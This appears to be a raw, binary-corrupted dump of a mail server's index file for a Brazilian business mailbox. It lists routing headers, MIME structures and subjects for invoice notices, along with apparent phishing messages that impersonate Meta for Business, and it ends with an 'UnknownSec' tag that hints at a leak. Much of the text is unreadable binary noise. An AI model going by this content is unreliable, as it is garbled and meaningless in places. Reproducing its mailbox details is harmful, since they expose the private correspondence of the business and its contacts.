Received: from mail-southcentralusazon11023106.outbound.protection.outlook.com ([40.93.196.106]:12258 helo=SA9PR02CU001.outbound.protection.outlook.com)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1ww1cQ-0000000Fioo-2mxt
	for [email protected];
	Mon, 17 Aug 2026 14:59:32 -0300
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:207::11)
 by CPUP152MB4841.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:14b::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.315.17; Mon, 17 Aug
 2026 17:59:26 +0000
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4]) by CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4%4]) with mapi id 15.21.0315.016; Mon, 17 Aug 2026
 17:59:26 +0000
dReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A.�.ԞD�H?.JM�.�/�@�]��.�.@��|��?�C�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe15163_1.xml") NIL NIL "base64" 11948 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "15163_1.pdf") NIL NIL "base64" 82882 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_6144_6647226c-4111-46ef-8423-1797127a9749") NIL NIL NILL�j�
).Date: 26 Aug 2026 13:15:14 -0300
�/Subject: =?utf-8?B?QXV0b3JpemFkYSBORi1lIDE1Nzg2IFPDqXJpZSAxIGVtaXRp?=
 =?utf-8?B?ZGEgcG9yIElOTk9WQVBIQVJNQSBCUkFTSUwgRkFSTUFDRVVUSUNBIExU?=
 =?utf-8?B?REEgLSBSSg==?=
[+From: "INNOVAPHARMA BRASIL FARMACEUTICA LTDA - RJ"
 <[email protected]>
	K-To: [email protected], [email protected]


e7Message-ID:
 <CPWP152MB6436F7D10A275ED948B245F093AE2@CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM>
g2Content-Type: multipart/mixed;
 boundary=--boundary_12753_6dcc9af2-d23c-4f80-877d-f9018cb8b950
�#'Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id xHuYJRkRj2qxSx8Ag9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Wed, 26 Aug 2026 13:15:21 -0300
Received: from mail-westcentralusazon11023103.outbound.protection.outlook.com ([40.93.201.103]:34202 helo=CY3PR05CU001.outbound.protection.outlook.com)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1wzGHW-00000008bXV-2wz2
	for [email protected];
	Wed, 26 Aug 2026 13:15:21 -0300
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:207::11)
 by RO2P152MB4630.LAMP152.PROD.OUTLOOK.COM (2603:10d6:10:6d::8) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.360.10; Wed, 26 Aug 2026 16:15:14 +0000
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4]) by CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4%4]) with mapi id 15.21.0360.008; Wed, 26 Aug 2026
 16:15:14 +0000
dReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A.�.��2�H=.JM�.�/�@�]��Q67@ʔ|�#BRF�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe15786_1.xml") NIL NIL "base64" 14086 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "15786_1.pdf") NIL NIL "base64" 83538 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_12753_6dcc9af2-d23c-4f80-877d-f9018cb8b950") NIL NIL NIL�j�
)/Date: 26 Aug 2026 13:28:15 -0300
�0Subject: =?utf-8?B?QXV0b3JpemFkYSBORi1lIDE1Nzk1IFPDqXJpZSAxIGVtaXRp?=
 =?utf-8?B?ZGEgcG9yIElOTk9WQVBIQVJNQSBCUkFTSUwgRkFSTUFDRVVUSUNBIExU?=
 =?utf-8?B?REEgLSBSSg==?=
[,From: "INNOVAPHARMA BRASIL FARMACEUTICA LTDA - RJ"
 <[email protected]>
	K.To: [email protected], [email protected]


e8Message-ID:
 <CPWP152MB64369401DF27E40B174D1C0393AE2@CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM>
g3Content-Type: multipart/mixed;
 boundary=--boundary_12772_d7c2fa99-36fc-4c41-806a-cb919c011f52
�#(Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id g70lHSkUj2o2eB8Ag9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Wed, 26 Aug 2026 13:28:25 -0300
Received: from mail-westus2azon11020108.outbound.protection.outlook.com ([52.101.46.108]:10865 helo=CO1PR03CU002.outbound.protection.outlook.com)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1wzGUA-00000008eVL-1bvY
	for [email protected];
	Wed, 26 Aug 2026 13:28:25 -0300
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:207::11)
 by CPUP152MB4594.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:145::12) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.10; Wed, 26 Aug
 2026 16:28:15 +0000
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4]) by CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4%4]) with mapi id 15.21.0360.008; Wed, 26 Aug 2026
 16:28:15 +0000
dReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A�-$.��&�H�-JM�.�/�@:]��Y67@O�|�B>F�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe15795_1.xml") NIL NIL "base64" 14094 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "15795_1.pdf") NIL NIL "base64" 83518 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_12772_d7c2fa99-36fc-4c41-806a-cb919c011f52") NIL NIL NIL)�j�.Date: Fri, 28 Aug 2026 07:06:00 -0700
� Subject: =?UTF-8?B?QWdvcmEgdm9jw6ogcG9kZQ==?=
 =?UTF-8?B?IGNvbmZpZ3VyYXIgYW7Dug==?=
 =?UTF-8?B?bmNpb3MgZW0gdsOtZGVvIA==?=
 =?UTF-8?B?YW8gdml2byBkbyBJbnN0?=
 =?UTF-8?B?YWdyYW0=?=
J'From: "Meta for Business" <[email protected]>
L(Reply-to: Meta for Business <[email protected]>
	*To: [email protected]


Y7Message-ID: <325ec5f4-16f1-4239-b166-1c546478ffea@business-updates.facebook.com>
%X-Priority: 3
16Content-Type: text/html; charset="UTF-8"
UReceived: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id lyNdNcyVkWqTaz4Ag9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Fri, 28 Aug 2026 11:06:04 -0300
Received: from 69-171-232-150.mail-mail.facebook.com ([69.171.232.150]:60270)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1wzxDW-0000000HABT-402r
	for [email protected];
	Fri, 28 Aug 2026 11:06:04 -0300
45Content-Transfer-Encoding: quoted-printable
vReturn-Path: <[email protected]>
Return-path: <[email protected]>
 (H9�dbdV"text" "html" ("charset" "UTF-8") NIL NIL "quoted-printable" 25727 539 NIL NIL NIL NIL̕�j�
)/Date: 28 Aug 2026 18:49:00 -0300
�0Subject: =?utf-8?B?QXV0b3JpemFkYSBORi1lIDE2MDczIFPDqXJpZSAxIGVtaXRp?=
 =?utf-8?B?ZGEgcG9yIElOTk9WQVBIQVJNQSBCUkFTSUwgRkFSTUFDRVVUSUNBIExU?=
 =?utf-8?B?REEgLSBSSg==?=
[,From: "INNOVAPHARMA BRASIL FARMACEUTICA LTDA - RJ"
 <[email protected]>
	K.To: [email protected], [email protected]


e8Message-ID:
 <CPWP152MB6436E8CAE5DA08F61510736B93AC2@CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM>
g3Content-Type: multipart/mixed;
 boundary=--boundary_16727_bb4588c0-e5e0-46e6-8ef9-16275048f63b
�#(Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id 2hfzG1ECkmpAygQAg9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Fri, 28 Aug 2026 18:49:05 -0300
Received: from mail-northcentralusazon11020115.outbound.protection.outlook.com ([52.101.193.115]:50362 helo=CH1PR05CU001.outbound.protection.outlook.com)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1x04Rc-00000001JeS-2Ad4
	for [email protected];
	Fri, 28 Aug 2026 18:49:05 -0300
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:207::11)
 by CPWP152MB4710.LAMP152.PROD.OUTLOOK.COM (2603:10d6:103:131::10) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.11; Fri, 28 Aug
 2026 21:49:00 +0000
Received: from CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4]) by CPWP152MB6436.LAMP152.PROD.OUTLOOK.COM
 ([fe80::13bc:b1ee:6f27:51c4%4]) with mapi id 15.21.0360.008; Fri, 28 Aug 2026
 21:49:00 +0000
dReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A.�.����HH.JM�.�/�@�]��UHFI@٦|�4M�Q�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe16073_1.xml") NIL NIL "base64" 18758 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "16073_1.pdf") NIL NIL "base64" 86408 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_16727_bb4588c0-e5e0-46e6-8ef9-16275048f63b") NIL NIL NILQ�j�4@Date: Sat, 29 Aug 2026 13:02:51 -0700 (PDT)
�ESubject: =?utf-8?B?IE1FVEEgVkVSSUZJRUQg4oCTIENvbnZpdGUgb2ZpY2lhbCBw?=
 =?utf-8?B?YXJhIGEgdmVyaWZpY2HDp8OjbyBkYSBNZXRhIOKchSA=?=
:CFrom: "Meta For Business" <[email protected]>
	*DTo: [email protected]


B?Message-ID: <[email protected]>
1GContent-Type: text/html; charset="UTF-8"
):Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id yH7YDPE6k2oN+RcAg9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Sat, 29 Aug 2026 17:02:57 -0300
Received: from mail-pj2-f6.google.com ([74.125.227.134]:44303)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_128_GCM_SHA256
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1x0PGR-00000006ahA-2DQL
	for [email protected];
	Sat, 29 Aug 2026 17:02:57 -0300
Received: by mail-pj2-f6.google.com with SMTP id 98e67ed59e1d1-3964e7720afso1231837a91.1
        for <[email protected]>; Sat, 29 Aug 2026 13:02:54 -0700 (PDT)
Received: from DESKTOP-2KT506J ([2001:ee0:4537:1880:4c66:2f31:def:c8f8])
        by smtp.gmail.com with ESMTPSA id a92af1059eb24-142e0d18eaasm18838806c88.1.2026.08.29.13.02.50
        for <[email protected]>
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Sat, 29 Aug 2026 13:02:51 -0700 (PDT)
4HContent-Transfer-Encoding: quoted-printable
VReturn-Path: <[email protected]>
Return-path: <[email protected]>
 (H�P BoCOV"text" "html" ("charset" "UTF-8") NIL NIL "quoted-printable" 17263 335 NIL NIL NIL NIL�:�j: ���j�	�j���j���j�	�j���j���j���j�	�j�	�j�	�j���j���j���j���j=Öj�	�j=Öj���j�	�j�	�j�	�j���j���j���j���j���j�	�j�	�j��|j��|j��|j������������������������������������������������������������������������������������������������������������������������flagsdate.receivedimap.bodystructuremime.partshdr.datehdr.subjecthdr.fromhdr.senderhdr.reply-tohdr.tohdr.cchdr.bcchdr.in-reply-tohdr.message-idhdr.referenceshdr.importancehdr.x-priorityhdr.x-open-xchange-share-urlhdr.CONTENT-TRANSFER-ENCODINGhdr.CONTENT-TYPEhdr.DISPOSITION-NOTIFICATION-TOhdr.LIST-POSThdr.MAIL-FOLLOWUP-TOhdr.MAIL-REPLY-TOhdr.RESENT-BCChdr.RETURN-PATHhdr.X-DRAFT-INFOhdr.X-KOLAB-MIME-VERSIONhdr.X-KOLAB-TYPEhdr.NEWSGROUPShdr.PRIORITYhdr.RECEIVEDĄtrReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A/-�-n�Ho-MP��H�2LOq�("text" "plain" ("charset" "utf-8") NIL NIL "base64" 1200 16 NIL NIL NIL NIL)("text" "html" ("charset" "utf-8") NIL NIL "base64" 2190 29 NIL NIL NIL NIL) "alternative" ("boundary" "_000_SCZP152MB766872C08727AEC4C7D4859BFED52SCZP152MB7668LAMP_") NIL ("en-US") NIL��3Importance: high
rReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A�-Y.n�H�-MP��H3LOq�("text" "plain" ("charset" "utf-8") NIL NIL "base64" 1200 16 NIL NIL NIL NIL)("text" "html" ("charset" "utf-8") NIL NIL "base64" 2190 29 NIL NIL NIL NIL) "alternative" ("boundary" "_000_SCZP152MB766872C08727AEC4C7D4859BFED52SCZP152MB7668LAMP_") NIL ("en-US") NILd�3Importance: high
rReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �AL.�.v�H�.MP��H�3LOu�("text" "plain" ("charset" "utf-8") NIL NIL "base64" 1204 16 NIL NIL NIL NIL)("text" "html" ("charset" "utf-8") NIL NIL "base64" 2194 29 NIL NIL NIL NIL) "alternative" ("boundary" "_000_SCZP152MB7668A137872935C27C3750D4FEC82SCZP152MB7668LAMP_") NIL ("en-US") NIL�|�3Importance: high
rReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A/�/v�HZ/MP��H�4LOu�("text" "plain" ("charset" "utf-8") NIL NIL "base64" 1204 16 NIL NIL NIL NIL)("text" "html" ("charset" "utf-8") NIL NIL "base64" 2194 29 NIL NIL NIL NIL) "alternative" ("boundary" "_000_SCZP152MB7668A137872935C27C3750D4FEC82SCZP152MB7668LAMP_") NIL ("en-US") NIL�ydReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A�-:.��6�H�-JM�.�/�@P]��e67@q�|�BBF�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe14242_1.xml") NIL NIL "base64" 14106 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "14242_1.pdf") NIL NIL "base64" 83522 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_38175_7603b8f1-a554-4ff0-8b38-e55bac53244a") NIL NIL NIL�qdReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �A.�.4�̰H>.JM�.�/�@�]���6t7@8�|�KC~G�("text" "html" ("charset" "utf-8") NIL NIL "base64" 12186 157 NIL NIL NIL NIL)("application" "octet-stream" ("name" "procNFe13955_1.xml") NIL NIL "base64" 14196 NIL ("attachment" NIL) NIL NIL)("application" "octet-stream" ("name" "13955_1.pdf") NIL NIL "base64" 83838 NIL ("attachment" NIL) NIL NIL) "mixed" ("boundary" "--boundary_35321_35f2f2d7-af6e-4683-8ec1-4ab5629809e8") NIL NIL NIL�trReturn-Path: <[email protected]>
Return-path: <[email protected]>
 XAm�_<�=H�pt�;=~�("text" "html" ("charset" "UTF-8") NIL NIL "QUOTED-PRINTABLE" 15630 382 NIL ("inline" NIL) NIL NIL) "alternative" ("boundary" "----=_Part_37855115_240297934.1785190998092") NIL NIL NIL�m�4 Content-Transfer-Encoding: quoted-printable
�Return-Path: <bounces+30491196-9f8e-ilhaplaza=espacofacial.com.br@em7569.titan.email>
Return-path: <bounces+30491196-9f8e-ilhaplaza=espacofacial.com.br@em7569.titan.email>
 (Hc��<�=V"text" "html" ("charset" "utf-8") NIL NIL "quoted-printable" 15870 270 NIL NIL NIL NIL�k`hReturn-Path: <[email protected]>
Return-path: <[email protected]>
 �At���H�Y]��@����	V
@P��
�
�("text" "plain" ("charset" "UTF-8" "format" "flowed") NIL NIL "8bit" 405 16 NIL NIL NIL NIL)("application" "pdf" ("name" "ILHA PLAZA (2).pdf") NIL NIL "base64" 68950 NIL ("attachment" ("filename" "ILHA PLAZA (2).pdf" "size" "50387")) NIL NIL)("application" "pdf" ("name" "ILHA PLAZA.pdf") NIL NIL "base64" 69008 NIL ("attachment" ("filename" "ILHA PLAZA.pdf" "size" "50429")) NIL NIL) "mixed" ("boundary" "=_8ee9fe0f714ccc48ae9c0e5be91fe1d4") NIL NIL NIL�o��Return-Path: <0100019fa42f065e-ee3c1a81-fc75-4fe9-a33c-24eb34f4bfba-000000@rede.userede.com.br>
Return-path: <0100019fa42f065e-ee3c1a81-fc75-4fe9-a33c-24eb34f4bfba-000000@rede.userede.com.br>
 �AD�<�HoUX^�%HNTW��?�("text" "plain" ("charset" "UTF-8") NIL NIL "quoted-printable" 899 37 NIL NIL NIL NIL)("text" "html" ("charset" "UTF-8") NIL NIL "quoted-printable" 4847 63 NIL NIL NIL NIL) "alternative" ("boundary" "----=_Part_9801_1757607438.1785165973223") NIL NIL NIL@c(a(References: <[email protected]>
 <[email protected]>
6Return-Path: <[email protected]>
 XA�+oY�ZHpt�X�Y&�("text" "html" ("charset" "UTF-8") NIL NIL "quoted-printable" 22982 294 NIL ("inline" NIL) NIL NIL) "related" ("boundary" "----=_Part_1054366_1386660598.1778063404498") NIL NIL NILt.Date: Fri, 04 Sep 2026 18:41:31 -0300
&Subject: ROYALTIES REF AGOSTO
-From: [email protected]
	6To: Ilhaplaza <[email protected]>


KMessage-ID: <[email protected]>
VContent-Type: multipart/mixed;
 boundary="=_a27495f1f69115a9c9f5bd8a86c46169"
hReturn-Path: <[email protected]>
Return-path: <[email protected]>
"Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id 9891Jgs7m2q6dRIAg9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Fri, 04 Sep 2026 18:41:31 -0300
Received: from [127.0.0.1] (port=50620 helo=dedi-15171674.espacofacial.com.br)
	by dedi-15171674.espacofacial.com.br with esmtpa (Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1x2bfA-000000054iP-10Dy
	for [email protected];
	Fri, 04 Sep 2026 18:41:31 -0300
 �A��r�̤H�Y]��@����H�P@lP���HTP�("text" "plain" ("charset" "UTF-8" "format" "flowed") NIL NIL "8bit" 411 17 NIL NIL NIL NIL)("application" "pdf" ("name" "ILHA PLAZA (2).pdf") NIL NIL "base64" 151684 NIL ("attachment" ("filename" "ILHA PLAZA (2).pdf" "size" "110845")) NIL NIL)("application" "pdf" ("name" "ILHA PLAZA.pdf") NIL NIL "base64" 151636 NIL ("attachment" ("filename" "ILHA PLAZA.pdf" "size" "110811")) NIL NIL) "mixed" ("boundary" "=_a27495f1f69115a9c9f5bd8a86c46169") NIL NIL NIL;�j(.*Date: Mon, 07 Sep 2026 18:20:06 +0700
N+Subject: O produto =?utf-8?b?ZXN0w6E=?= com defeito e requer suporte.
E)From: =?utf-8?b?QW5kcsOpYQ==?= <[email protected]>
	6.To: ilhaplaza <[email protected]>


e,Message-ID:
 <VI2P193MB29600614B677D3278671E54FFDB22@VI2P193MB2960.EURP193.PROD.OUTLOOK.COM>
(0Content-Transfer-Encoding: 8bit
//Content-Type: text/html; charset=utf-8
bReturn-Path: <[email protected]>
Return-path: <[email protected]>
� %Received: from dedi-15171674.espacofacial.com.br
	by dedi-15171674.espacofacial.com.br with LMTP
	id vxdlCfWdnmqZVAYAg9QLAA
	(envelope-from <[email protected]>)
	for <[email protected]>; Mon, 07 Sep 2026 08:20:21 -0300
Received: from mail-westeuropeazolkn19011033.outbound.protection.outlook.com ([52.103.33.33]:51223 helo=AS8PR04CU009.outbound.protection.outlook.com)
	by dedi-15171674.espacofacial.com.br with esmtps  (TLS1.3) tls TLS_AES_256_GCM_SHA384
	(Exim 4.99.5)
	(envelope-from <[email protected]>)
	id 1x3XOc-00000001juT-3C7a
	for [email protected];
	Mon, 07 Sep 2026 08:20:21 -0300
Received: from VI2P193MB2960.EURP193.PROD.OUTLOOK.COM (2603:10a6:800:2df::5)
 by GV1P193MB2133.EURP193.PROD.OUTLOOK.COM (2603:10a6:150:24::12) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.382.15; Mon, 7 Sep
 2026 11:20:08 +0000
Received: from VI2P193MB2960.EURP193.PROD.OUTLOOK.COM
 ([fe80::977d:2579:e94b:f93a]) by VI2P193MB2960.EURP193.PROD.OUTLOOK.COM
 ([fe80::977d:2579:e94b:f93a%4]) with mapi id 15.21.0382.014; Mon, 7 Sep 2026
 11:20:08 +0000
 (HU,�,p	�	?H"text" "html" ("charset" "utf-8") NIL NIL "8bit" 2479 63 NIL NIL NIL NIL���j
© 2026 UnknownSec